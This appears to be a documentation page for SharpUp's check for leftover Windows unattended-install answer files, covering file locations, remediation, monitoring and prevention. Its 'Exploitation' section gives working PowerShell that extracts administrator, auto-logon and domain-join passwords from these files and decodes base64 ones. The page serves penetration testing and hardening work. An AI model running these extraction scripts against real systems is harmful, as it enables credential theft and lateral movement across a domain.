Overview
The Unattended Install Files check searches for Windows unattended installation answer files that may contain plaintext or base64-encoded credentials. These files are used during automated Windows deployments and often left behind after installation, accessible to any user on the system.
Unattended install files can contain local administrator passwords, domain join credentials, and product keys.
How It Works
SharpUp checks common locations for unattended installation files:
File Locations Checked:
%windir%\sysprep\sysprep.xml
%windir%\sysprep\sysprep.inf
%windir%\sysprep.inf
%windir%\Panther\Unattended.xml
%windir%\Panther\Unattend.xml
%windir%\Panther\Unattend\Unattend.xml
%windir%\Panther\Unattend\Unattended.xml
%windir%\System32\Sysprep\unattend.xml
%windir%\System32\Sysprep\Panther\unattend.xml
Example Output
=== Unattended Install Files ===
C:\Windows\Panther\Unattend.xml
C:\Windows\System32\Sysprep\unattend.xml
Interpretation:
Unattended install files found on system
May contain credentials for:
Local administrator account
Domain join account
Auto-logon account
Product keys
Exploitation
# Read and parse unattend.xml
[ xml ] $unattend = Get-Content "C:\Windows\Panther\Unattend.xml"
# Extract local administrator password
$adminPassword = $unattend .unattend.settings.component |
Where-Object { $_ .name -eq "Microsoft-Windows-Shell-Setup" } |
Select-Object - ExpandProperty UserAccounts |
Select-Object - ExpandProperty AdministratorPassword |
Select-Object - ExpandProperty Value
Write-Host "Administrator Password: $adminPassword "
# Extract auto-logon credentials
$autoLogon = $unattend .unattend.settings.component |
Where-Object { $_ .name -eq "Microsoft-Windows-Shell-Setup" } |
Select-Object - ExpandProperty AutoLogon
Write-Host "Auto-Logon Username: $( $autoLogon .Username ) "
Write-Host "Auto-Logon Password: $( $autoLogon .Password.Value ) "
Write-Host "Auto-Logon Domain: $( $autoLogon .Domain ) "
Method 2: Extract Domain Join Credentials
[ xml ] $unattend = Get-Content "C:\Windows\Panther\Unattend.xml"
# Extract domain join credentials
$domainJoin = $unattend .unattend.settings.component |
Where-Object { $_ .name -eq "Microsoft-Windows-UnattendedJoin" } |
Select-Object - ExpandProperty Identification
$username = $domainJoin .Credentials.Username
$password = $domainJoin .Credentials.Password
$domain = $domainJoin .Credentials.Domain
Write-Host "Domain Join Account: $domain \ $username "
Write-Host "Password: $password "
Method 3: Decode Base64 Passwords
# Some passwords are base64 encoded
$encodedPassword = "UABhAHMAcwB3AG8AcgBkACEAMQAyADMA"
# Decode
$decodedPassword = [ System.Text.Encoding ]::Unicode.GetString([ System.Convert ]::FromBase64String( $encodedPassword ))
Write-Host "Decoded Password: $decodedPassword "
Method 4: Search All Answer Files
# Search for all unattended files with passwords
$searchPaths = @ (
" $ env: windir \sysprep" ,
" $ env: windir \Panther" ,
" $ env: windir \System32\Sysprep"
)
foreach ( $path in $searchPaths ) {
Get-ChildItem - Path $path - Recurse - Include * .xml ,* .inf - ErrorAction SilentlyContinue |
ForEach-Object {
$content = Get-Content $_ .FullName - Raw
if ( $content -match "password|cpassword" ) {
Write-Host "[+] Found: $( $_ .FullName ) "
Write-Host $content
}
}
}
Locate Unattended Files
# Search for unattended installation files
$locations = @ (
" $ env: windir \sysprep\sysprep.xml" ,
" $ env: windir \sysprep\sysprep.inf" ,
" $ env: windir \sysprep.inf" ,
" $ env: windir \Panther\Unattended.xml" ,
" $ env: windir \Panther\Unattend.xml" ,
" $ env: windir \Panther\Unattend\Unattend.xml" ,
" $ env: windir \Panther\Unattend\Unattended.xml" ,
" $ env: windir \System32\Sysprep\unattend.xml" ,
" $ env: windir \System32\Sysprep\Panther\unattend.xml"
)
$foundFiles = $locations | Where-Object { Test-Path $_ }
if ( $foundFiles ) {
Write-Host "[!] Found unattended files:"
$foundFiles | ForEach-Object { Write-Host " $_ " }
}
Review File Contents
Before deletion, review files for credentials that need to be changed: foreach ( $file in $foundFiles ) {
Write-Host " `n [*] Reviewing: $file "
Select-String - Path $file - Pattern "password|username|domain" - Context 2 , 2
}
Delete Unattended Files
# Delete unattended installation files
foreach ( $file in $foundFiles ) {
if ( Test-Path $file ) {
Remove-Item $file - Force
Write-Host "[+] Deleted: $file "
}
}
Change Exposed Credentials
# Change any passwords found in unattended files
# Local administrator
net user Administrator "NewComplexP@ssw0rd123!"
# Domain accounts (if domain join credentials found)
Set-ADAccountPassword - Identity domainJoinAccount - Reset - NewPassword ( ConvertTo-SecureString - AsPlainText "NewP@ssw0rd!" - Force)
Secure Deployment Process
For future deployments:
Don’t store passwords in answer files
Use offline domain join (djoin.exe)
Implement MDT/SCCM with proper credential management
Delete answer files after successful deployment
Use secure variables instead of plaintext passwords
Automated Cleanup Script
# Deploy via GPO to clean all workstations
$locations = @ (
" $ env: windir \sysprep\sysprep.xml" ,
" $ env: windir \sysprep\sysprep.inf" ,
" $ env: windir \sysprep.inf" ,
" $ env: windir \Panther\*.xml" ,
" $ env: windir \System32\Sysprep\*.xml"
)
foreach ( $pattern in $locations ) {
Get-Item $pattern - ErrorAction SilentlyContinue | ForEach-Object {
$content = Get-Content $_ .FullName - Raw - ErrorAction SilentlyContinue
if ( $content -match "password" ) {
Write-EventLog - LogName Application - Source "Unattend Cleanup" - EventId 1000 - Message "Deleted: $( $_ .FullName ) "
Remove-Item $_ .FullName - Force
}
}
}
Detection
Defensive Monitoring
# Monitor access to unattended file directories
$panther = " $ env: windir \Panther"
if ( Test-Path $panther ) {
$acl = Get-Acl $panther
$auditRule = New-Object System.Security.AccessControl.FileSystemAuditRule(
"Everyone" ,
"ReadData" ,
"None" ,
"None" ,
"Success"
)
$acl .AddAuditRule ( $auditRule )
Set-Acl $panther $acl
}
# Monitor Event ID 4663 for file access
Get-WinEvent - FilterHashtable @ { LogName = 'Security' ; ID = 4663 } |
Where-Object { $_ .Message -match 'Panther|Sysprep' -and $_ .Message -match 'xml|inf' }
Detection Strategies
File Access Monitoring
Process Monitoring
Preventive Scanning
Monitor read access to Panther and Sysprep directories
Alert on access to *.xml and *.inf files in these locations
Track which users are accessing these files
Monitor PowerShell access to unattended files
Detect XML parsing of unattended files
Alert on base64 decoding operations
Regularly scan systems for unattended files
Automate deletion via GPO or SCCM
Alert when files are found
Real-World Scenarios
Scenario 1: Enterprise Deployment Remnants
Context: 5,000 workstations deployed using MDT 2 years ago. Unattend.xml files never cleaned up.Contents:
Local administrator password (same on all workstations)
Domain join service account credentials
Impact:
Attacker compromises one workstation
Finds unattend.xml with local admin password
Gains local admin on all 5,000 workstations
Uses domain join credentials for lateral movement
Lesson: Always clean up deployment artifacts.
Scenario 2: Sysprep Answer File
Context: Custom Windows image created with Sysprep, answer file included in image.Risk:
Every deployed system has same answer file
Contains built-in administrator password
Auto-logon configured for initial setup
Solution:
Remove answer files from master image
Use dynamic credential injection
LAPS for local administrator passwords
Scenario 3: Penetration Test Discovery
Context: Penetration tester gains low-privilege shell on workstation.Attack Path:
Run SharpUp to identify unattended files
Find C:\Windows\Panther\Unattend.xml
Extract domain join account credentials
Use credentials to access domain resources
Escalate to domain admin
Prevention: Regular cleanup and credential rotation.
Prevention Best Practices
Clean After Deployment Always delete answer files after successful Windows installation.
Don't Store Passwords Avoid storing passwords in answer files. Use alternative methods.
Use LAPS Implement Local Administrator Password Solution for randomized admin passwords.
Offline Domain Join Use djoin.exe for domain joining without storing credentials.
Secure Deployment Alternatives
# Offline domain join (no credentials in answer file)
# On domain controller:
djoin.exe / provision / domain contoso.com / machine WORKSTATION01 / savefile C:\joindata.txt
# Copy joindata.txt to target system
# On target workstation:
djoin.exe / requestODJ / loadfile C:\joindata.txt / windowspath % windir % / localos
# Restart to complete join - no credentials exposed
MDT/SCCM Best Practices
Store credentials in variables, not answer files
Use separate deployment accounts with limited privileges
Rotate deployment account passwords regularly
Clean up deployment directories post-installation
Audit deployment processes
References